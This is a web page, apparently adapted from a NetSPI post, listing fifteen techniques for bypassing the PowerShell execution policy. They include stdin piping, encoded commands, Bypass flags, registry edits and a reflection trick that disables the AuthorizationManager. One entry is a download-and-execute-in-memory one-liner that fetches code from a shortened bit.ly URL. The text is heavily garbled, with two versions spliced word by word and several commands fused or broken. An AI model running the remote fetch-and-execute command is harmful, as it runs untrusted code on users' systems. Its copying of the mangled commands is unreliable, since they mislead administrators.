Bypass the PowerShell Execution Policy
💻 15 Ways to Bypass the PowerShell Execution Policy
🔎 What is the PowerShell Execution Policy?
PowerShell’sThe execution policy restrictsdetermines scriptwhat type of PowerShell scripts (if any) can run. By default, it's set to Restricted, which blocks all scripts. It's meant to prevent accidental execution, butnot theseas methodsa allowtrue yousecurity control — which is why it’s easy to bypassbypass.
đź’ˇ withoutWhy needingBypass adminIt?
🔍 View Current Execution Policy
Get-ExecutionPolicy
Get-ExecutionPolicy -List | Format-Table -AutoSize
đź§Ş QuickTest MethodsScript withExample
Write-Host "My voice is my passport, verify me."
---
🚪 15 Ways to Bypass Execution Policy
- Paste
directlyin Interactive Console
Directly run the script inthePowerShell.consolePoliciesNodon’tconfigapplychangestoormanuallyfiletyped commands.writes. - Echo
& pipeto PowerShell
echo Write-Host "Hi"My\voice is my passport" | powershell -noprofile -Executesvia stdin. - Pipe
aFilescriptviafileType/Get-Content
Get-Contentscript..\runme.ps1\| powershell -noprofile -Readsline-by-linetypeas.\runme.ps1input.| powershell -noprofile - - Download
and+execute in memoryInvoke-Expression
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL'https://bit.ly/1kEgbuH')"Nofile written to disk. - Use -Command
argumentSwitch
powershell -command "Write-Host 'Bypass'Hello'"Executesinline commands. - Use -EncodedCommand
Then run with:$cmd = "Write-Host 'Hello'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd) [Convert]::ToBase64String($bytes)powershell -EncodedCommandargument<base64>
Invoke-Command -ScriptBlock {Write-Host "Hello"}
Invoke-Command -ComputerName server -ScriptBlock {Get-ExecutionPolicy} | Set-ExecutionPolicy -Force
Invoke-Expression (iex)Get-Content .\runme.ps1 | Invoke-Expression
orgc .\runme.ps1 | iex
Use -ExecutionPolicy Bypasspowershell -ExecutionPolicy Bypass -File .\runme.ps1
Use -ExecutionPolicy Unrestrictedpowershell -ExecutionPolicy UnRestricted -File .\runme.ps1
Use -ExecutionPolicy RemoteSignedpowershell -ExecutionPolicy RemoteSigned -File .\runme.ps1
Swap AuthorizationManager (Temporary)
function Disable-ExecutionPolicy {
($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue(
$executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue(
$ctx, (New-Object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))
}
Disable-ExecutionPolicy
Set OnlySet-ExecutionPolicy Bypass -Scope Process
powershell_ise.exeSet-ExecutionPolicyscript.ps1-Scope CurrentUser -ExecutionPolicy UnRestrictedSometimes
Modify:
HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShellAdd/modify avoidsstring .ps1value enforcement.
ExecutionPolicy WMI= execution
RunsUnrestricted
---
âś… Wrap Up
Note:PowerShell’s Theseexecution methodspolicy areis a soft restriction — not a security boundary. Microsoft even provides native ways to bypass it. Use these techniques for legitimate use only — such as automation, testing, and redadministration.
Adapted from NetSPI — whereoriginal authorized.blog post